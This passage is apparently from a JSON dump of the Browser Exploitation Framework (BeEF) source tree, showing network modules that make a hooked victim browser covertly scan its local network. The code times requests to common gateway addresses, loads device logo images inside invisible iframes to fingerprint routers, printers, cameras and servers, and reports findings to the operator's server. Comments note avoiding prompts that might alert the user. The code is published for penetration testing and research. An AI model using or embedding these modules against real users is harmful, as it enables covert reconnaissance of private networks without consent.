window.stop() the event triggered is 'abort'\n        // http://www.w3.org/TR/XMLHttpRequest/#event-handlers\n        xhr.onabort = function(){\n          aborted = true;\n        }\n        xhr.onloadend = function(){\n          if(time < timeout){\n            // 'abort' fires always before 'onloadend'\n            if(time > 1 && aborted === false){ \n              beef.debug('Discovered host ['+host+'] in ['+time+'] ms');\n              discovered_hosts.push(host);\n            }\n          }\n        }\n      }\n    }\n    xhr.open(\"GET\", proto + \"://\" + host, true);\n    xhr.send();\n  }\n\n  var requests = new Array();\n  for (var i = 0; i < ranges.length; i++) {\n    // the following returns like 192.168.0.\n    var c = ranges[i].split('.')[0]+'.'+\n    ranges[i].split('.')[1]+'.'+\n    ranges[i].split('.')[2]+'.';\n    // for every entry in the 'ranges' array, request\n    // the most common gateway IPs, like:\n    // 192.168.0.1, 192.168.0.100, 192.168.0.254\n    requests.push(c + '1');\n    requests.push(c + '100');\n    requests.push(c + '254');\n  }\n\n  // process queue\n  var count = requests.length;\n  beef.debug(\"[command #<%= @command_id %>] Identifying LAN hosts (\"+count+\" URLs) (Timeout \" + timeout + \"ms)\");\n  var check_timeout = (timeout * count + parseInt(timeout,10));\n  var handle = setInterval(function() {\n    if (requests.length > 0) {\n      doRequest(requests.pop());\n    }\n  }, timeout);\n\n  // check for results\n  checkResults = function() {\n\n    if (handle) {\n      beef.debug(\"[command #<%= @command_id %>] Killing timer [ID: \" + handle + \"]\");\n      clearInterval(handle);\n      handle = 0;\n    }\n\n    var hosts = discovered_hosts.join(\",\");\n    beef.debug(\"Discovered \" + discovered_hosts.length + \" hosts: \" + hosts);\n    if (discovered_hosts.length >= 5) { \n      // if we get 5+ results something probably went wrong. this happens sometimes.\n      if (timeout > min_timeout) {\n        // if timeout is more than 500ms then decrease timeout by 500ms and try again\n        beef.debug(\"Returned large hit rate (\" + discovered_hosts.length + \" of \" + count + \") indicating low network latency. Retrying scan with decreased timeout (\" + (timeout - 500) + \"ms)\");\n        doScan(timeout-500);\n      } else {\n        beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"fail=unexpected results&hosts=\"+hosts, beef.are.status_error());\n      }\n    } else if (discovered_hosts.length == 0) {\n      beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"fail=no results\", beef.are.status_error());\n    } else {\n      beef.debug(\"[command #<%= @command_id %>] Identifying LAN hosts completed.\");\n      beef.net.send('<%= @command_url %>', <%= @command_id %>, 'hosts='+hosts, beef.are.status_success());\n      beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=scan complete\");\n    }\n  }\n  setTimeout(\"checkResults();\", check_timeout);\n\n}\n\nvar timeout = \"<%= @timeout %>\";\nif (isNaN(timeout) || timeout < 1) timeout = min_timeout;\ndoScan(parseInt(timeout,10));\n\n});\n"
  },
  {
    "path": "modules/network/identify_lan_subnets/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        identify_lan_subnets:\n            enable: true\n            category: \"Network\"\n            name: \"Identify LAN Subnets\"\n            description: \"Discover active hosts in the internal network(s) of the hooked browser. This module works by attempting to connect to commonly used LAN IP addresses and timing the response.\"\n            authors: [\"browserhacker.com\"]\n            target:\n                user_notify: [\"FF\", \"C\"]\n                not_working: [\"IE\", \"S\", \"O\"]\n"
  },
  {
    "path": "modules/network/identify_lan_subnets/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n##\n# Ported to BeEF from: http://browserhacker.com/code/Ch10/index.html\n##\n\nclass Identify_lan_subnets < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'timeout', 'ui_label' => 'Timeout for each request (ms)', 'value' => '500' }\n    ]\n  end\n\n  def post_execute\n    content = {}\n    content['host'] = @datastore['host'] unless @datastore['host'].nil?\n    content['hosts'] = @datastore['hosts'] unless @datastore['hosts'].nil?\n    content['fail'] = 'No active hosts have been discovered.' if content.empty?\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/network/internal_network_fingerprinting/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n  var ips = new Array();\n  var ipRange = \"<%= @ipRange %>\";\n  var ports   = \"<%= @ports %>\";\n  var threads = parseInt(\"<%= @threads %>\", 10);\n  var timeout = parseInt(\"<%= @timeout %>\", 10)*1000;\n  var wait    = parseInt(\"<%= @wait %>\", 10)*1000;\n\n  if (ports != null) {\n    ports = ports.split(',');\n  }\n\n  // set target IP addresses\n  if (ipRange == 'common') {\n    // use default IPs\n    ips = [\n      '192.168.0.1',\n      '192.168.0.100',\n      '192.168.0.254',\n      '192.168.1.1',\n      '192.168.1.100',\n      '192.168.1.254',\n      '10.0.0.1',\n      '10.1.1.1',\n      '192.168.2.1',\n      '192.168.2.254',\n      '192.168.100.1',\n      '192.168.100.254',\n      '192.168.123.1',\n      '192.168.123.254',\n      '192.168.10.1',\n      '192.168.10.254'\n    ];\n  } else {\n    // set target IP range\n    var range = ipRange.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\\-([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$');\n    if (range == null || range[1] == null) {\n      beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"fail=malformed IP range supplied\", beef.are.status_error());\n      return;\n    }\n    // ipRange will be in the form of 192.168.0.1-192.168.0.254\n    // the fourth octet will be iterated.\n    // (only C class IP ranges are supported atm)\n    ipBounds   = ipRange.split('-');\n    lowerBound = ipBounds[0].split('.')[3];\n    upperBound = ipBounds[1].split('.')[3];\n    for (i=lowerBound;i<=upperBound;i++){\n      ipToTest = ipBounds[0].split('.')[0]+\".\"+ipBounds[0].split('.')[1]+\".\"+ipBounds[0].split('.')[2]+\".\"+i;\n      ips.push(ipToTest);\n    }\n  }\n\n  /* Signatures in the form of:\n     \"Dev/App Name\", -- string\n     \"Default Port\", -- string\n     \"Protocol\",     -- string -- http/https\n     \"Use Multiple Ports if specified\", -- boolean\n     \"IMG path\",     -- string -- file URI path\n     \"IMG width\",    -- integer\n     \"IMG height\"    -- integer\n\n    When adding new signatures, try to find images which:\n     * have a unique URI and width/height combination\n     * use a valid SSL certificate - invalid certs prevent the resouce from loading\n     * do not require HTTP authentication - auth popups may alert the user to the scan\n   */\n  var urls = new Array(\n  new Array(\n    \"Apache\",\n    \"80\",\"http\",false,\n    \"/icons/apache_pb.gif\",259,32),\n  new Array(\n    \"Apache 2.x\",\n    \"80\",\"http\",false,\n    \"/icons/apache_pb2.gif\",259,32),\n  new Array(\n    \"Microsoft IIS 7.x\",\n    \"80\",\"http\",false,\n    \"/welcome.png\",571,411),\n  new Array(\n    \"Microsoft IIS\",\n    \"80\",\"http\",false,\n    \"/pagerror.gif\",36,48),\n  new Array(\n    \"PHP\",\n    \"80\",\"http\",false,\n    \"/?=PHPE9568F34-D428-11d2-A769-00AA001ACF42\",120,67),\n  new Array(\n    \"QNAP NAS\",\n    \"8080\",\"http\",false,\n    \"/ajax_obj/img/running.gif\",16,16),\n  new Array(\n    \"QNAP NAS\",\n    \"443\",\"https\",false,\n    \"/cgi-bin/images/login/cloud_portal.png\",165,32),\n  new Array(\n    \"Asus RT Series Router\",\n    \"80\",\"http\",false,\n    \"/images/top-02.gif\",359,78),\n  new Array(\n    \"Asus RX Series Router\",\n    \"80\",\"http\",false,\n    \"/images/bu_blue.gif\",82,16),\n  new Array(\n    \"Belkin Router\",\n    \"80\",\"http\",false,\n    \"/images/title_2.gif\",321,28),\n  new Array(\n    \"Billion Router\",\n    \"80\",\"http\",false,\n    \"/customized/logo.gif\",318,69),\n  new Array(\n    \"Billion Router\",\n    \"80\",\"http\",false,\n    \"/customized/logo.gif\",224,55),\n  new Array(\n    \"Netgear N300 Router\",\n    \"80\",\"http\",false,\n    \"/settings.gif\",750,85),\n  new Array(\n    \"Linksys NAS\",\n    \"80\",\"http\",false,\n    \"/Admin_top.JPG\",750,52),\n  new Array(\n    \"Linksys NAS\",\n    \"80\",\"http\",false,\n    \"/logo.jpg\",194,52),\n  new Array(\n    \"D-Link DCS Camera\",\n    \"80\",\"http\",false,\n    \"/devmodel.jpg\",127,27),\n  new Array(\n    \"Linksys Network Camera\",\n    \"80\",\"http\",false,\n    \"/welcome.jpg\",146,250),\n  new Array(\n    \"Linksys Wireless-G Camera\",\n    \"80\",\"http\",false,\n    \"/header.gif\",750,97),\n  new Array(\n    \"Cisco IP Phone\",\n    \"80\",\"http\",false,\n    \"/Images/Logo\",120,66),\n  new Array(\n    \"Snom Phone\",\n    \"80\",\"http\",false,\n    \"/img/snom_logo.png\",168,62),\n  new Array(\n    \"Dell Laser Printer\",\n    \"80\",\"http\",false,\n    \"/ews/images/delllogo.gif\",100,100),\n  new Array(\n    \"Brother Printer\",\n    \"80\",\"http\",false,\n    \"/pbio/brother.gif\",144,52),\n  new Array(\n    \"HP LaserJet Printer\",\n    \"80\",\"http\",false,\n    \"/hp/device/images/logo.gif\",42,27),\n  new Array(\n    \"HP LaserJet Printer\",\n    \"80\",\"http\",false,\n    \"/hp/device/images/hp_invent_logo.gif\",160,52),\n  new Array(\n    \"JBoss Application server\",\n    \"8080\",\"http\",true,\n    \"/images/logo.gif\",226,105),\n  new Array(\n    \"APC InfraStruXure Manager\",\n    \"80\",\"http\",false,\n    \"/images/Xlogo_Layer-1.gif\",342,327),\n  new Array(\n    \"Barracuda Spam/Virus Firewall\",\n    \"8000\",\"http\",true,\n    \"/images/powered_by.gif\",211,26),\n  new Array(\n    \"TwonkyMedia Server\",\n    \"9000\",\"http\",false,\n    \"/images/TwonkyMediaServer_logo.jpg\",150,82),\n  new Array(\n    \"VMware ESXi Server\",\n    \"80\",\"http\",false,\n    \"/background.jpeg\",1,1100),\n  new Array(\n    \"Microsoft Remote Web Workplace\",\n    \"80\",\"http\",false,\n    \"/Remote/images/submit.gif\",31,31),\n  new Array(\n    \"XAMPP\",\n    \"80\",\"http\",false,\n    \"/xampp/img/xampp-logo-new.gif\",200,59),\n  new Array(\n    \"Xerox Printer\",\n    \"80\",\"http\",false,\n    \"/printbut.gif\",30,30),\n  new Array(\n    \"Konica Minolta Printer\",\n    \"80\",\"http\",false,\n    \"/G27_light.gif\",206,26),\n  new Array(\n    \"Epson Printer\",\n    \"80\",\"http\",false,\n    \"/cyandot.gif\",1,1),\n  new Array(\n    \"HP Printer\",\n    \"80\",\"http\",false,\n    \"/hp/device/images/hp_invent_logo.gif\",160,52),\n  new Array(\n    \"HP Printer Photosmart series\",\n    \"80\",\"http\",false,\n    \"/webApps/images/hp_d_rgb_m.gif\",50,50),\n  new Array(\n    \"Lexmark Printer\",\n    \"80\",\"http\",false,\n    \"/images/lexlogo.gif\",153,115),\n  new Array(\n    \"Canon Printer\",\n    \"8000\",\"http\",false,\n    \"/login/image/canonlogo.gif\",100,37),\n  new Array(\n    \"Zenoss\",\n    \"8080\",\"http\",false,\n    \"/zport/dmd/favicon.ico\",16,16),\n  new Array(\n    \"Wordpress\",\n    \"80\",\"http\",true,\n    \"/wp-includes/images/wpmini-blue.png\",16,16),\n  new Array(\n    \"Glassfish Server\",\n    \"4848\",\"http\",false,\n    \"/theme/com/sun/webui/jsf/suntheme/images/login/gradlogsides.jpg\", 1, 200),\n  new Array(\n    \"pfSense\",\n    \"443\",\"https\",false,\n    \"/themes/pfsense_ng/images/logo.gif\",200,56),\n  new Array(\n    \"pfSense CE <= 2.3.2\",\n    \"80\",\"http\",false,\n    \"/logo.png\",124,36),\n  new Array(\n    \"Apache Tomcat\",\n    \"8080\",\"http\",true,\n    \"/docs/images/tomcat.gif\",146,92),\n  new Array(\n    \"Jenkins\",\n    \"80\",\"http\",false,\n    \"/static/\"+Math.random().toString(36).substring(2,10)+\"/images/jenkins.png\",240,323),\n  new Array(\n    \"SAP NetWeaver\",\n    \"80\",\"http\",true,\n    \"/logon/layout/shadow.jpg\",18,4),\n  new Array(\n    \"Netscape iPlanet\",\n    \"80\",\"http\",true,\n    \"/mc-icons/menu.gif\",21,18),\n  new Array(\"Kemp Load Master\", \"443\", \"https\", false, \"/kemplogo.png\",951,75),\n  new Array(\n    \"m0n0wall\",\n    \"80\",\"http\",false,\n    \"/logo.gif\",150,47),\n  new Array(\"SMC Router\",\"80\",\"http\",false,\"/images/logo.gif\",133,59),\n  new Array(\"ntop\",\"3000\",\"http\",false,\"/ntop_logo.png\",103,50),\n  new Array(\n\t\"ZeroShell\",\n\t\"80\",\"http\",false,\n\t\"/kerbynet/Zeroshell.gif\",180,63)\n\n// Uncommon signatures\n//new Array(\"Microsoft ADFS\",\"80\",\"http\",false,\"/adfs/portal/illustration/illustration.png\",1420,1080),\n//new Array(\"Rejetto HttpFileServer\", \"8080\", \"http\",i true, \"/~img27\",16,16),\n//new Array(\"Citrix MetaFrame\", \"80\", \"http\", false, \"/Citrix/MetaFrameXP/default/media/nfusehead.gif\",230,41),\n//new Array(\"Oracle E-Business Suite\",\"80\",\"http\",false,\"/OA_MEDIA/FNDSSCORP.gif\",134,31),\n//new Array(\"OracleAS Reports Service\",\"80\",\"http\",false,\"/reports/images/oraclelogo_sizewithprodbrand.gif\",133,20),\n//new Array(\"Oracle iLearning\",\"80\",\"http\",false,\"/ilearn/en/shared/img/coin_help_ready.gif\",60,32),\n//new Array(\"RSA Self-Service Console\", \"80\", \"http\",false,\"/console-selfservice/images/default/icn_help.gif\",14,14),\n//new Array(\"Sambar Server\", \"80\", \"http\",false,\"/sysimage/system/powerby.gif\",41,23),\n//new Array(\"BeEF\",\"3000\",\"http\",false,\"/ui/media/images/beef.png\",200,149),\n//new Array(\"BeEF (PHP)\",\"80\",\"http\",false,\"/beef/images/beef.gif\",32,32),\n//new Array(\"Siemens Simatic\",\"80\",false,\"/Images/Siemens_Firmenmarke.gif\",115,76),\n//new Array(\"Alt-N MDaemon World Client\",\"3000\",\"http\",false,\"/LookOut/biglogo.gif\",342,98),\n//new Array(\"VLC Media Player\",\"8080\",\"http\",false,\"/images/white_cross_small.png\",9,9),\n//new Array(\"Syncrify\",\"5800\",\"http\",false,\"/images/468x60.gif\",468,60),\n//new Array(\"Winamp Web Interface\",\"80\",\"http\",false,\"/img?image=121\",30,30),\n  );\n\n  checkSignature = function(signature_id, signature_name, proto, ip, port, uri) {\n    var img = new Image;\n    var dom = beef.dom.createInvisibleIframe();\n    dom.setAttribute('id', 'lan_<%= @command_id %>_'+signature_id+'_'+proto+'_'+ip);\n    beef.debug(\"[Network Fingerprint] Checking for [\" + signature_name + \"] at IP [\" + ip + \"] (\" + proto + \")\");\n    img.id  = signature_id;\n    img.src = proto+\"://\"+ip+\":\"+port+uri;\n    img.onerror = function() { dom.removeChild(this); }\n    img.onload = function() {\n      if (this.width == urls[this.id][5] && this.height == urls[this.id][6]) {\n        beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto='+proto+'&ip='+ip+'&port='+port+'&discovered='+signature_name+\"&url=\"+escape(this.src), beef.are.status_success());dom.removeChild(this);\n        beef.debug(\"[Network Fingerprint] Found [\" + signature_name + \"] with URL [\" + escape(this.src) + \"]\");\n      }\n    }\n    dom.appendChild(img);\n    // stop & remove iframe\n    setTimeout(function() {\n      if (dom.contentWindow.stop !== undefined) {\n        dom.contentWindow.stop();\n      } else if (dom.contentWindow.document.execCommand !== undefined) {\n        dom.contentWindow.document.execCommand(\"Stop\", false);\n      }\n      document.body.removeChild(dom);\n    }, timeout);\n  }\n\n  WorkerQueue = function(frequency) {\n\n    var stack = [];\n    var timer = null;\n    var frequency = frequency;\n    var start_scan = (new Date).getTime();\n\n    this.process = function() {\n      var item = stack.shift();\n      eval(item);\n      if (stack.length === 0) {\n        clearInterval(timer);\n        timer = null;\n        var interval = (new Date).getTime() - start_scan;\n        beef.debug(\"[Network Fingerprint] Worker queue is complete [\"+interval+\" ms]\");\n        return;\n      }\n    }\n\n    this.queue = function(item) {\n      stack.push(item);\n      if (timer === null) {\n        timer = setInterval(this.process, frequency);\n      }\n    }\n\n  }\n\n  // create worker queue\n  var workers = new Array();\n  for (w=0; w < threads; w++) {\n    workers.push(new WorkerQueue(wait));\n  }\n\n  // for each URI signature\n  for (var u=0; u < urls.length; u++) {\n    var worker = workers[u % threads];\n    // for each LAN IP address\n    for (var i=0; i < ips.length; i++) {\n      if (!urls[u][3]) {\n        // use default port\n        worker.queue('checkSignature(\"'+u+'\",\"'+urls[u][0]+'\",\"'+urls[u][2]+'\",\"'+ips[i]+'\",\"'+urls[u][1]+'\",\"'+urls[u][4]+'\");');\n      } else {\n        // iterate through all the specified ports\n        for (var p=0; p < ports.length; p++) {\n          worker.queue('checkSignature(\"'+u+'\",\"'+urls[u][0]+'\",\"'+urls[u][2]+'\",\"'+ips[i]+'\",\"'+ports[p]+'\",\"'+urls[u][4]+'\");');\n        }\n      }\n    }\n  }\n\n});\n\n"
  },
  {
    "path": "modules/network/internal_network_fingerprinting/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        internal_network_fingerprinting:\n            enable: true\n            category: \"Network\"\n            name: \"Fingerprint Local Network\"\n            description: \"Discover devices and applications in the victim's Local Area Network.<br/><br/>This module uses a signature based approach - based on default logo images/favicons for known network device/applications - to fingerprint each IP address within the LAN.<br/><br/>Partially based on <a href='http://yokoso.inguardians.com/'>Yokosou</a> and <a href='http://code.google.com/p/jslanscanner/'>jslanscanner</a>.<br/><br/>Note: set the IP address range to 'common' to scan a list of common LAN addresses.\"\n            authors: [\"bcoles\", \"wade\", \"antisnatchor\"]\n            target:\n                user_notify: [\"ALL\"]\n"
  },
  {
    "path": "modules/network/internal_network_fingerprinting/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nclass Internal_network_fingerprinting < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'ipRange', 'ui_label' => 'Scan IP range (C class)', 'value' => '192.168.0.1-192.168.0.254' },\n      { 'name' => 'ports', 'ui_label' => 'Ports to test', 'value' => '80,8080' },\n      { 'name' => 'threads', 'ui_label' => 'Workers', 'value' => '3' },\n      { 'name' => 'wait', 'ui_label' => 'Wait (s) between each request for each worker', 'value' => '5' },\n      { 'name' => 'timeout', 'ui_label' => 'Timeout for each request (s)', 'value' => '10' }\n    ]\n  end\n\n  def post_execute\n    content = {}\n    content['discovered'] = @datastore['discovered'] unless @datastore['discovered'].nil?\n    content['url'] = @datastore['url'] unless @datastore['url'].nil?\n    content['fail'] = 'No devices/applications have been discovered.' if content.empty?\n    save content\n\n    configuration = BeEF::Core::Configuration.instance\n    return unless configuration.get('beef.extension.network.enable') == true && (@datastore['results'] =~ /^proto=(.+)&ip=(.+)&port=(\\d+)&discovered=(.+)&url=(.+)/)\n\n    proto = Regexp.last_match(1)\n    ip = Regexp.last_match(2)\n    port = Regexp.last_match(3)\n    discovered = Regexp.last_match(4)\n    url = Regexp.last_match(5)\n    session_id = @datastore['beefhook']\n    if BeEF::Filters.is_valid_ip?(ip)\n      print_debug(\"Hooked browser found '#{discovered}' [ip: #{ip}]\")\n      BeEF::Core::Models::NetworkService.create(hooked_browser_id: session_id, proto: proto, ip: ip, port: port, type: discovered)\n    end\n  end\nend\n"
  },
  {
    "path": "modules/network/jslanscanner/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n// Ported to BeEF from jslanscanner: https://code.google.com/p/jslanscanner/source/browse/trunk/lan_scan/js/lan_scan.js\n\nbeef.execute(function() {\n\n\tif(!beef.browser.isFF() && !beef.browser.isS()){\n\t\tbeef.debug(\"[command #<%= @command_id %>] Browser is not supported.\");\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"fail=unsupported browser\", beef.are.status_error());\n\t\treturn;\n\t}\n\n//------------------------------------------------------------------------------------------\n//  LAN SCANNER created by Gareth Heyes (gareth at businessinfo co uk)\n//  Blog: www.thespanner.co.uk\n//  Labs site : www.businessinfo.co.uk\n//  Version 2.1\t\n//------------------------------------------------------------------------------------------\n\n/*  Copyright 2007  Gareth Heyes  (email : gareth[at]NOSPAM businessinfo(dot)(co)(dot)uk\n\n    This program is free software; you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation; either version 2 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program; if not, write to the Free Software\n    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n*/\n\n\tvar devices = [\n\t\t{make:'DLink',model:'dgl4100',graphic:'/html/images/dgl4100.jpg'},\n\t\t{make:'DLink',model:'dgl4300',graphic:'/html/images/dgl4300.jpg'},\n\t\t{make:'DLink',model:'di524',graphic:'/html/images/di524.jpg'},\n\t\t{make:'DLink',model:'di624',graphic:'/html/images/di624.jpg'},\n\t\t{make:'DLink',model:'di624s',graphic:'/html/images/di624s.jpg'},\n\t\t{make:'DLink',model:'di724gu',graphic:'/html/images/di724gu.jpg'},\n\t\t{make:'DLink',model:'dilb604',graphic:'/html/images/dilb604.jpg'},\n\t\t{make:'DLink',model:'dir130',graphic:'/html/images/dir130.jpg'},\n\t\t{make:'DLink',model:'dir330',graphic:'/html/images/dir330.jpg'},\n\t\t{make:'DLink',model:'dir450',graphic:'/html/images/dir450.jpg'},\n\t\t{make:'DLink',model:'dir451',graphic:'/html/images/dir451.jpg'},\n\t\t{make:'DLink',model:'dir615',graphic:'/html/images/dir615.jpg'},\n\t\t{make:'DLink',model:'dir625',graphic:'/html/images/dir625.jpg'},\n\t\t{make:'DLink',model:'dir635',graphic:'/html/images/dir635.jpg'},\n\t\t{make:'DLink',model:'dir655',graphic:'/html/images/dir655.jpg'},\n\t\t{make:'DLink',model:'dir660',graphic:'/html/images/dir660.jpg'},\n\t\t{make:'DLink',model:'ebr2310',graphic:'/html/images/ebr2310.jpg'},\n\t\t{make:'DLink',model:'kr1',graphic:'/html/images/kr1.jpg'},\n\t\t{make:'DLink',model:'tmg5240',graphic:'/html/images/tmg5240.jpg'},\n\t\t{make:'DLink',model:'wbr1310',graphic:'/html/images/wbr1310.jpg'},\n\t\t{make:'DLink',model:'wbr2310',graphic:'/html/images/wbr2310.jpg'},\n\t\t{make:'DLink',model:'dsl604',graphic:'/html/images/dsl604.jpg'},\n\t\t{make:'DLink',model:'dsl2320b',graphic:'/html/images/dsl2320b.jpg'},\n\t\t{make:'DLink',model:'dsl2540b',graphic:'/html/images/dsl2540b.jpg'},\n\t\t{make:'DLink',model:'dsl2640b',graphic:'/html/images/dsl2640b.jpg'},\n\t\t{make:'DLink',model:'dsl302g',graphic:'/html/images/dsl302g.jpg'},\n\t\t{make:'DLink',model:'dsl502g',graphic:'/html/images/dsl502g.jpg'},\n\t\t{make:'DLink',model:'dgl3420',graphic:'/html/images/dgl3420.jpg'},\n\t\t{make:'DLink',model:'dwl2100ap',graphic:'/html/images/dwl2100ap.jpg'},\n\t\t{make:'DLink',model:'dwl2130ap',graphic:'/html/images/dwl2130ap.jpg'},\n\t\t{make:'DLink',model:'dwl2200ap',graphic:'/html/images/dwl2200ap.jpg'},\n\t\t{make:'DLink',model:'dwl2230ap',graphic:'/html/images/dwl2230ap.jpg'},\n\t\t{make:'DLink',model:'dwl2700ap',graphic:'/html/images/dwl2700ap.jpg'},\n\t\t{make:'DLink',model:'dwl3200ap',graphic:'/html/images/dwl3200ap.jpg'},\n\t\t{make:'DLink',model:'dwl7100ap',graphic:'/html/images/dwl7100ap.jpg'},\n\t\t{make:'DLink',model:'dwl7130ap',graphic:'/html/images/dwl7130ap.jpg'},\n\t\t{make:'DLink',model:'dwl7200ap',graphic:'/html/images/dwl7200ap.jpg'},\n\t\t{make:'DLink',model:'dwl7230ap',graphic:'/html/images/dwl7230ap.jpg'},\n\t\t{make:'DLink',model:'dwl7700ap',graphic:'/html/images/dwl7700ap.jpg'},\n\t\t{make:'DLink',model:'dwl8200ap',graphic:'/html/images/dwl8200ap.jpg'},\n\t\t{make:'DLink',model:'dwl8220ap',graphic:'/html/images/dwl8220ap.jpg'},\n\t\t{make:'DLink',model:'dwlag132',graphic:'/html/images/dwlag132.jpg'},\n\t\t{make:'DLink',model:'dwlag530',graphic:'/html/images/dwlag530.jpg'},\n\t\t{make:'DLink',model:'dwlag660',graphic:'/html/images/dwlag660.jpg'},\n\t\t{make:'DLink',model:'dwlag700ap',graphic:'/html/images/dwlag700ap.jpg'},\n\t\t{make:'DLink',model:'dwlg120',graphic:'/html/images/dwlg120.jpg'},\n\t\t{make:'DLink',model:'dwlg122',graphic:'/html/images/dwlg122.jpg'},\n\t\t{make:'DLink',model:'dwlg132',graphic:'/html/images/dwlg132.jpg'},\n\t\t{make:'DLink',model:'dwlg510',graphic:'/html/images/dwlg510.jpg'},\n\t\t{make:'DLink',model:'dwlg520',graphic:'/html/images/dwlg520.jpg'},\n\t\t{make:'DLink',model:'dwlg520m',graphic:'/html/images/dwlg520m.jpg'},\n\t\t{make:'DLink',model:'dwlg550',graphic:'/html/images/dwlg550.jpg'},\n\t\t{make:'DLink',model:'dwlg630',graphic:'/html/images/dwlg630.jpg'},\n\t\t{make:'DLink',model:'dwlg650',graphic:'/html/images/dwlg650.jpg'},\n\t\t{make:'DLink',model:'dwlg650m',graphic:'/html/images/dwlg650m.jpg'},\n\t\t{make:'DLink',model:'dwlg680',graphic:'/html/images/dwlg680.jpg'},\n\t\t{make:'DLink',model:'dwlg700ap',graphic:'/html/images/dwlg700ap.jpg'},\n\t\t{make:'DLink',model:'dwlg710',graphic:'/html/images/dwlg710.jpg'},\n\t\t{make:'DLink',model:'dwlg730ap',graphic:'/html/images/dwlg730ap.jpg'},\n\t\t{make:'DLink',model:'dwlg820',graphic:'/html/images/dwlg820.jpg'},\n\t\t{make:'DLink',model:'wda1320',graphic:'/html/images/wda1320.jpg'},\n\t\t{make:'DLink',model:'wda2320',graphic:'/html/images/wda2320.jpg'},\n\t\t{make:'DLink',model:'wna1330',graphic:'/html/images/wna1330.jpg'},\n\t\t{make:'DLink',model:'wna2330',graphic:'/html/images/wna2330.jpg'},\n\t\t{make:'DLink',model:'wua1340',graphic:'/html/images/wua1340.jpg'},\n\t\t{make:'DLink',model:'wua2340',graphic:'/html/images/wua2340.jpg'},\n\t\t{make:'DLink',model:'DSL502T',graphic:'/html/images/help_p.jpg'},\n\t\t{make:'DLink',model:'DSL524T',graphic:'/html/images/device.gif'},\n\t\t{make:'Netgear',model:'CG814WG',graphic:'/images/../settingsCG814WG.gif'},\n\t\t{make:'Netgear',model:'CM212',graphic:'/images/../settingsCM212.gif'},\n\t\t{make:'Netgear',model:'DG632',graphic:'/images/../settingsDG632.gif'},\n\t\t{make:'Netgear',model:'DG632B',graphic:'/images/../settingsDG632B.gif'},\n\t\t{make:'Netgear',model:'DG814',graphic:'/images/../settingsDG814.gif'},\n\t\t{make:'Netgear',model:'DG824M',graphic:'/images/../settingsDG824M.gif'},\n\t\t{make:'Netgear',model:'DG834',graphic:'/images/../settingsDG834.gif'},\n\t\t{make:'Netgear',model:'DG834B',graphic:'/images/../settingsDG834B.gif'},\n\t\t{make:'Netgear',model:'DG834G',graphic:'/images/../settingsDG834G.gif'},\n\t\t{make:'Netgear',model:'DG834GB',graphic:'/images/../settingsDG834GB.gif'},\n\t\t{make:'Netgear',model:'DG834GT',graphic:'/images/../settingsDG834GT.gif'},\n\t\t{make:'Netgear',model:'DG834GTB',graphic:'/images/../settingsDG834GTB.gif'},\n\t\t{make:'Netgear',model:'DG834GV',graphic:'/images/../settingsDG834GV.gif'},\n\t\t{make:'Netgear',model:'dg834N',graphic:'/images/../settingsdg834N.gif'},\n\t\t{make:'Netgear',model:'DG834PN',graphic:'/images/../settingsDG834PN.gif'},\n\t\t{make:'Netgear',model:'DGFV338',graphic:'/images/../settingsDGFV338.gif'},\n\t\t{make:'Netgear',model:'DM111P',graphic:'/images/../settingsDM111P.gif'},\n\t\t{make:'Netgear',model:'DM602',graphic:'/images/../settingsDM602.gif'},\n\t\t{make:'Netgear',model:'FM114P',graphic:'/images/../settingsFM114P.gif'},\n\t\t{make:'Netgear',model:'FR114P',graphic:'/images/../settingsFR114P.gif'},\n\t\t{make:'Netgear',model:'FR114W',graphic:'/images/../settingsFR114W.gif'},\n